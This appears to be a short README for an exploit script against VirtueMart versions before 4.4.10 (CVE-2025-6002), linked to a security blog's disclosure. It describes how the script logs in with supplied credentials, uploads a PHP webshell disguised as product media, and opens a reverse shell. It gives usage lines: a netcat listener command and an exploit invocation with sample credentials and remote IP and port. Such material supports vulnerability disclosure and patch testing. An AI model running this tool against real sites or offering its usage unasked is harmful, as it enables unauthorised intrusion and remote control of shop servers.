
This script exploits the authenticated arbitrary file upload vulnerability in VirtueMart < 4.4.10 (CVE-2025-6002), which is described in this blog post: https://blog.blacklanternsecurity.com/p/doomla-zero-days
This script logs in to VirtueMart with the given credentials, creates a new product and uploads a PHP webshell as a media file. It then invokes a reverse shell to the provided IP/port.
Parameters:
Usage:
nc -nlvp 1337
python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337